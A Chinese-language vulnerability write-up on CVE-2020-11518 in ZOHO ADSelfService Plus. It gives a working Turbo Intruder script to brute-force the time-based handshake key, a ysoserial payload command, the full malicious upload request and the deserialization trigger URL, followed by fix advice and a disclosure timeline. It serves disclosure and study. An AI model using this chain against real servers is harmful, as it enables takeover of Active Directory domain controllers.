挖洞经验 | 利用ZOHO ADSelfService Plus漏洞实现域控活动目录入侵
字数 1591 2025-08-15 21:31:52
ZOHO ManageEngine ADSelfService Plus漏洞分析与利用指南
1. 漏洞概述
ZOHO ManageEngine ADSelfService Plus在5815之前的版本存在远程未授权代码执行漏洞(CVE-2020-11518),该漏洞组合了以下两个安全问题:
- Java反序列化漏洞:通过CewolfServlet的路径遍历问题
- 任意文件上传漏洞:通过枚举HANDSHAKE_KEY绕过身份验证
该漏洞影响与域控服务器活动目录(Active Directory)集成的ADSelfService Plus系统,攻击者可利用此漏洞实现域控服务器的入侵。
2. 漏洞发现过程
2.1 目标识别
使用Aquatone工具进行前期探测时,发现多个子域名使用相同的ZOHO ManageEngine ADSelfService Plus登录界面。该软件通常用于大中型网络中管理活动目录账户密码。
2.2 环境搭建
- 下载30天试用版ADSelfService Plus
- 搭建本地测试环境,包括:
- 域控制器(Domain Controller)
- 活动目录(Active Directory)域
- 使用Bytecode Viewer分析Java架构的ADSelfService Plus
3. 漏洞分析
3.1 Java反序列化漏洞(CewolfServlet)
在web.xml中发现以下映射:
<servlet-mapping>
<servlet-name>CewolfServlet</servlet-name>
<url-pattern>/cewolf/*</url-pattern>
</servlet-mapping>
验证漏洞:
http://localhost:8888/cewolf/?img=path/to/evil.file
利用前提:需要先上传恶意文件到服务器
3.2 任意文件上传漏洞
发现智能卡证书上传点:
/LogonCustomization.do?form=smartCard&operation=Add
上传流程:
- 管理员上传智能卡证书
- 触发RestAPI调用,生成HANDSHAKE_KEY:
/RestAPI/WC/SmartCard?HANDSHAKE_KEY=secret - 校验HANDSHAKE_KEY:
/servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=secret - 成功校验后,证书存储到:
C:\ManageEngine\ADSelfService Plus\bin
关键问题:
/RestAPI和/servlet/HSKeyAuthenticator可公开访问- HANDSHAKE_KEY可被枚举
4. 密钥枚举技术
4.1 密钥生成机制分析
从HSKeyAuthenticator.class和RestAPIKey.class分析:
- 密钥基于当前时间戳(毫秒)生成
- 密钥有效期约2分钟(120000毫秒)
- 密钥生成逻辑:
public static void generateKey() { Long cT = Long.valueOf(System.currentTimeMillis()); key = cT.toString(); generatedTime = cT; } public static String getKey() { Long cT = Long.valueOf(System.currentTimeMillis()); if ((key == null) || (generatedTime.longValue() + 120000L < cT.longValue())) { generateKey(); } return key; }
4.2 枚举策略
- 使用UTC时间戳(Java的
currentTimeMillis返回UTC时间) - 每秒至少生成1000个请求(理论要求)
- 实际使用Turbo Intruder脚本,设置约400rps
Turbo Intruder脚本:
import time
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=200,
pipeline=True,
timeout=2,
engine=Engine.THREADED)
engine.start()
rps = 400 # 请求数/秒
while True:
now = int(round(time.time()*1000))
for i in range(now+(rps/2), now-(rps/2), -1):
engine.queue(target.req, str(i))
def handleResponse(req, interesting):
if 'SUCCESS' in req.response:
table.add(req)
HTTP请求模板(base.txt):
POST /servlet/HSKeyAuthenticator?PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=%s HTTP/1.1
Host: localhost:8888
Content-Length: 0
Connection: keep-alive
5. 漏洞利用
5.1 生成Payload
使用ysoserial生成反序列化Payload:
java -jar ysoserial-master-SNAPSHOT.jar MozillaRhino1 "ping ping-rce-MozillaRhino1.<your-burp-collaborator>"
5.2 上传恶意文件
利用枚举获得的HANDSHAKE_KEY上传恶意文件(如pieter.evil):
Exploit请求:
POST /RestAPI/WC/SmartCard?mTCall=addSmartCardConfig&PRODUCT_NAME=ManageEngine+ADSelfService+Plus&HANDSHAKE_KEY=1585552472158 HTTP/1.1
Host: localhost:888
Content-Length: 2464
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Connection: close
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="pieter.evil"
Content-Type: text/xml
<binary-ysoserial-payload-here>
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="CERTIFICATE_NAME"
blah
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4
Content-Disposition: form-data; name="SMARTCARD_CONFIG"
{"SMARTCARD_PRODUCT_LIST":"4"}
------WebKitFormBoundaryxkQ2P09dvbuV1Pi4--
5.3 触发RCE
访问上传的文件触发反序列化:
http://target/cewolf/?img=bin/pieter.evil
6. 漏洞影响
- 远程代码执行(RCE)在域控服务器上
- 可能通过域控制器的链接劫持域名账户
- 可在活动目录域中创建新用户
- 实现内网横向移动(如通过VPN服务)
7. 修复建议
- 升级到ADSelfService Plus 5815或更高版本
- 限制对/RestAPI和/servlet/HSKeyAuthenticator的访问
- 加强HANDSHAKE_KEY的生成机制
- 对上传文件进行严格验证和重命名
8. 时间线
- 2020.3.31: 向存在漏洞的公司报送漏洞
- 2020.4.2: 向ZOHO公司报送漏洞
- CVE编号: CVE-2020-11518
9. 总结
该漏洞组合了密钥枚举和反序列化问题,展示了企业软件中身份验证机制设计不当可能导致的严重后果。对于安全研究人员,此案例强调了深入代码分析和耐心测试的重要性。对于企业用户,则提醒及时更新关键基础设施组件的重要性。